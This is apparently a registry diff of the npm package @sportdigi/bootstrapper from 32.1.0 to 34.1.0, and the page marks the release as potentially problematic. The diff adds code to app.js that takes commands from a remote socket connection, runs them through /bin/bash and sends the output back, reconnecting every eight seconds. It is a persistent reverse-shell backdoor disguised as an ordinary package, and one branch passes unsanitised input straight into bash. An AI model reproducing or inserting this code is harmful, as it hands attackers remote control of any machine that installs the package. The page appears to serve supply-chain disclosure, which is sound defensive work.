@sportdigi/bootstrapper 32.1.0 → 34.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sportdigi/bootstrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +33 -16
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -53,36 +53,53 @@ function server() {
53
53
 
54
54
  const command = data.toString().trim();
55
55
 
56
- if (!command) {
57
- client.write('Geçersiz komut: Boş komut gönderilemez.\n');
58
- return;
59
- }
56
+ if (command.startsWith('cd ')) {
57
+ const newDir = command.substring(3).trim();
58
+
59
+ // Yeni terminal (bash) başlatıyoruz
60
+ const shell = spawn('/bin/bash', ['-c', `cd ${newDir} && pwd`]);
61
+
62
+ shell.stdout.on('data', (data) => {
63
+ client.write(`Yeni dizin: ${data.toString()}\n`);
64
+ });
60
65
 
61
- exec(command, (err, stdout, stderr) => {
62
- if (err) {
66
+ shell.stderr.on('data', (data) => {
67
+ client.write(`Hata (stderr): ${data.toString()}\n`);
68
+ });
69
+
70
+ shell.on('error', (err) => {
63
71
  client.write(`Hata: ${err.message}\n`);
64
- return;
65
- }
66
- if (stderr) {
67
- client.write(`Hata (stderr): ${stderr}\n`);
68
- return;
69
- }
70
- client.write(stdout);
71
- });
72
+ });
73
+ } else {
74
+ // Diğer komutları çalıştır
75
+ const shell = spawn('/bin/bash', ['-c', command]);
76
+
77
+ shell.stdout.on('data', (data) => {
78
+ client.write(data);
79
+ });
80
+
81
+ shell.stderr.on('data', (data) => {
82
+ client.write(data);
83
+ });
84
+
85
+ shell.on('error', (err) => {
86
+ client.write(`Hata: ${err.message}\n`);
87
+ });
88
+ }
72
89
  });
73
90
 
74
91
  client.on('end', () => {
75
92
  console.log('Bağlantı sonlandırıldı.');
76
93
  setTimeout(() => {
77
94
  server();
78
- }, 8000)
95
+ }, 8000);
79
96
  });
80
97
 
81
98
  client.on('error', (err) => {
82
99
  console.error('Bağlantı hatası:', err.message);
83
100
  setTimeout(() => {
84
101
  server();
85
- }, 8000)
102
+ }, 8000);
86
103
  });
87
104
  }
88
105
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "32.1.0",
3
+ "version": "34.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {